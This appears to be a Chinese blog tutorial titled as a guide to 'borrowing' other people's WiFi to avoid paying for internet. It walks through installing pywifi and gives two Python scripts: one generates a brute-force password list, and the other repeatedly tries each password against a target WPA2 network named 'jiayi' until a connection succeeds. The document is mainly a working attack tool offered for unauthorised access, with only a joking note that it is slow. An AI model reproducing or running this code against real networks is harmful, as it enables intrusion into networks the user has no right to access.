不想交网费?不想交,那然我们一起蹭网吧!(不过劝你别用,一是费时间,二是网速也慢😂)
言归正传,首先你得有一台电脑,一个Python,还有pywifi。
1.下载pywifi
按下win+r键,会弹出这个窗口
然后输入cmd,会弹出来这个
然后输入 pip install pywifi就好了
2.编辑代码(这里我用的是pycharm)
代码如下
import itertools as its
words="1234567890qwertyuiopasdfghjklzxcvbnm"
#生成密码本的位数,五位数,repeat=5
r=its.product(words,repeat=3)
dic=open(r"E:\密码本.txt","a")#记得改路径
for i in r:
dic.write("".join(i))
dic.write("".join("\n"))
print(i)
dic.close()
print("密码本已生成")
3.校对密码
import pywifi
from pywifi import const
import time
import datetime
def wifiConnect(pwd):
wifi=pywifi.PyWiFi()
ifaces=wifi.interfaces()[0]
ifaces.disconnect()
time.sleep(1)
wifistatus=ifaces.status()
if wifistatus ==const.IFACE_DISCONNECTED:
profile=pywifi.Profile()
#要连接WiFi的名称
profile.ssid="jiayi"
profile.auth=const.AUTH_ALG_OPEN
#wifi加密算法,一般wifi加密算法为wps
profile.akm.append(const.AKM_TYPE_WPA2PSK)
profile.cipher=const.CIPHER_TYPE_CCMP
#调用密码
profile.key=pwd
#删除所有连接过的wifi文件
ifaces.remove_all_network_profiles()
#设定新的连接文件
tep_profile=ifaces.add_network_profile(profile)
ifaces.connect(tep_profile)
#wifi连接时间
time.sleep(3)
if ifaces.status()==const.IFACE_CONNECTED:
return True
else:
return False
else:
print("已有wifi连接")
#读取密码本
def readPassword():
print("开始破解:")
#密码本路径
path="E:\密码本.txt"
#打开文件
file=open(path,"r")
while True:
try:
#一行一行读取
pad=file.readline()
bool=wifiConnect(pad)
if bool:
print("密码已破解: ",pad)
print("WiFi已自动连接!!!")
break
else:
#跳出当前循环,进行下一次循环
print("密码破解中....密码校对: ",pad)
except:
continue
好了,去试试吧,就是时间比较久
拜拜👋🏻